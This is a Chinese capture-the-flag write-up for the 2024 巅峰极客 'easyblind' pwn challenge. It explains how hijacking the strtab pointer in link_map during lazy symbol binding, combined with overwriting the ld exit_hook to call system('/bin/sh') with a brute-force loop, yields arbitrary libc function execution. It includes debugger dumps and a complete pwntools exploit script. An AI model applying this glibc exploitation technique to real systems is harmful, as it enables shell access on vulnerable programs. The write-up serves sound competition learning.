[strtab劫持] 2024巅峰极客 easyblind

文章发布时间:

最后更新时间:

页面浏览: 加载中...

2024巅峰极客Easyblind

前置

1.需要有ret2dlresolve的基础知识

2.该题第一步如何实现loop,在C0Lin师傅的博客中有分析这里就不细讲了。

3.对exit_hook有基本了解

首先看,通过ret2dlresolve可以知道延迟绑定,需要通过_dl_fixup函数:

1
2
3
4
5
6
7
8
9
10
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]);// 获取符号表地址
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);// 获取字符串表地址
...

主要看strtab是如何获取地址的,D_PTR (l, l_info[DT_STRTAB])展开后是((l)->l_info[5]->d_un.d_ptr + (dl_relocate_ld (l) ? 0 : (l)->l_addr)),本质就是通过link_map保存的指向dynamic结构体:

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf64_Sxword d_tag; /* Dynamic entry type */
union
{
Elf64_Xword d_val; /* Integer value */
Elf64_Addr d_ptr; /* Address value */
} d_un;
} Elf64_Dyn;

d_ptr保存的就是指向strtab的地址,读取的汇编代码如下:

1
2
3
<_dl_fixup+49> mov rcx, qword ptr [rbx + 0x68]// rbx就是指向的link_map的地址
<_dl_fixup+56> add rdi, qword ptr [rcx + 8]// rcx就是指向保存strtab的dynamic结构体
// [rcx+8]就是取出strtab

那么只要修改link_map+0x68指向的地址到可控地址,下次延迟绑定时就可以任意libc函数执行了。一般就是修改其后几位使其指向bss段上面的可控地址,或者用写入heap地址,然后将可控地址的偏移为st_name的地方写上想要执行函数的字符串即可。

对于该题我们每一次循环可以任意修改一字节libc和ld可写段的内容,因此link_map+0x68是可以成功修改的,同时根据改题正常想法会去修改link_map+0x68保存的地址为执行bss段上保存malloc的chunk的地址-8,这样strtab就是执行题目申请的那个地址了。

但是如下面数据所示0x5621e5e41e78为link_map+0x68保存的地址,0x5621e5e41e80保存的是strtab的地址,而malloc的地址保存在0x5621e5e42050,同0x5621e5e41e78相差大于一个字节,题目一次修改则只能改一次字节,每次都要经过延迟绑定,必定会报错退出。在细看下面数据0x5621e5e41ec0指向的0x7ff3f2d75160是在libc空间附近的地址,这个东西就是dyn里的_r_debug,因此我们可以将link_map+0x68保存的地址0x5621e5e41e78最后一个字节改成b8,将strtab劫持到0x7ff3f2d75160上,且此地址里的内容可以为本题修改。

1
2
3
4
5
6
7
8
9
10
11
12
00:00000x5621e5e41e78 ◂— 0x5
01:00080x5621e5e41e80 —▸ 0x5621e5e43000 ◂— 0x6f732e6362696c00
02:00100x5621e5e41e88 ◂— 0x6
03:00180x5621e5e41e90 —▸ 0x5621e5e43110 ◂— 0x0
04:00200x5621e5e41e98 ◂— 0xa /* '\n' */
05:00280x5621e5e41ea0 ◂— 0x109
06:00300x5621e5e41ea8 ◂— 0xb /* '\x0b' */
07:00380x5621e5e41eb0 ◂— 0x18
08:00400x5621e5e41eb8 ◂— 0x15
09:00480x5621e5e41ec0 —▸ 0x7ff3f2d75160 (_r_debug) ◂— 0x1
0a:00500x5621e5e41ec8 ◂— 0x3
0b:00580x5621e5e41ed0 —▸ 0x5621e5e42000 ◂— 0x3df8

通过上面的方法对0x7ff3f2d75160+st_name(该题的write的st_name为62)地址写函数字符串则可以实现任意libc函数的执行

正常解析过程为:

劫持后的解析过程:

即便能任意执行system,但是rdi不可控,所以只能另外想办法,同时该题泄露地址困难,题目没有像其他正常题目会进行setbuf,所以的IO_file里的各个指针都未初始化,即便执行putchar,使得指针初始化,指向的地址是也是heap段上,所以泄露困难。

该题需要注意的是write字符串篇偏移是62,而_r_debug+62刚好指向了link_map:main的l_name+6,如果写字符串则会修改l_name和l_ld,但是这两个东西并不会影响到延迟绑定程序。下面数据中0x7fa2d9c11190是link_map,加8则是l_name。

1
2
3
4
5
6
7
8
9
pwndbg> telescope 0x7fa2d9c11190
00:0000│ 0x7fa2d9c11190 —▸ 0x558449dc2018 ◂— 0x10c0
01:0008│ r10-6 0x7fa2d9c11198 ◂— 0x78657fa2d9c11730
02:0010│ 0x7fa2d9c111a0 ◂— 0x558449007469 /* 'it' */
03:0018│ 0x7fa2d9c111a8 —▸ 0x7fa2d9c11740 —▸ 0x7fffd33b9000 ◂— jg 0x7fffd33b9047
04:0020│ 0x7fa2d9c111b0 ◂— 0x0
05:0028│ 0x7fa2d9c111b8 —▸ 0x7fa2d9c11190 —▸ 0x558449dc2018 ◂— 0x10c0
06:0030│ 0x7fa2d9c111c0 ◂— 0x0
07:0038│ 0x7fa2d9c111c8 —▸ 0x7fa2d9c11718 —▸ 0x7fa2d9c11730 ◂— 0x0

exit_hook

参考了当时唯一解Tplus师傅的wp,师傅用的方法是利用exit_hook。

调试exit_hook需要找到_rtld_global的地址,以及对应的偏移地址,题目只给libc和ld,不好找,非常建议使用cpwn一键帮你配好调试的symblos和源码,用过的都说好。

exit_hook主要是利用这两个函数

1
2
_dl_rtld_lock_recursive = 0x7fda65ae3150 <rtld_lock_default_lock_recursive>,
_dl_rtld_unlock_recursive = 0x7fda65ae3160 <rtld_lock_default_unlock_recursive>,

此刻的system地址为0x7fda65940290,有6位不同后三位固定不用爆破,前3位需要爆破,则成功率为1/(16*16*16)即1/4096。因此这题特地给了个map.txt就是不想你爆破太久。

在libc2.31环境下_dl_rtld_lock_recursive地址为_rtld_global+3848,与ld可写段偏移为0xf68

同时rdi指向的是_rtld_global+2312与ld可写段偏移为0x968

该题payload的数据是固定的,搞出payload一次性输出即可,减少交互次数。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
from pwn import *
#context.log_level = "debug"
p_addr = lambda name, addr : print(f'{name}: {hex(addr)}')
ru=lambda s :p.recvuntil(s)
rut=lambda s,t :p.recvuntil(s,timeout=t)
r=lambda n :p.recv(n)
sla=lambda d,b:p.sendlineafter(d,b)
sa=lambda d,b:p.sendafter(d,b)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s).encode())
ss=lambda s :p.send(str(s).encode())
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,b'\x00'))
it=lambda :p.interactive()

def write_one(addr, data):
tmp = b""
for i in range(len(data)):
tmp += (p64(addr+i)+p8(data[i]))
return tmp
p = process("./pwn")
#io = remote("node4.buuoj.cn", 29129)
ld = 0x265000 - 0x10
#ld = 0x26b000 - 0x10
link_base_addr = ld + 0x1190
link_dyn_str = link_base_addr + 0x68
fake_str = ld + 0x1160
exit_hook = ld + 0xf68
exit_hook_rdi = ld + 0x968
write_st_name = 62

payload = b""

payload+= (p64(link_base_addr)+p8(0x18))

str_ = b"\x90\x62\xb6"
#str_ = b"\x90\x72\xe2"
payload+= write_one(exit_hook, str_)

str_ = b"/bin/sh\x00"
payload+= write_one(exit_hook_rdi, str_)

str_ = b"exit\x00"
payload+= write_one(fake_str+write_st_name, str_)

payload+= (p64(link_dyn_str)+p8(0xb8))

count = 0
while (True):
try:
p = process("./pwn")
s(payload)
sl(b"echo ok")
p.recvuntil(b"ok")
sl(b"cat /flag")
p.interactive()
break
except Exception as e:
p.close()
count+=1
print(count)
continue


it()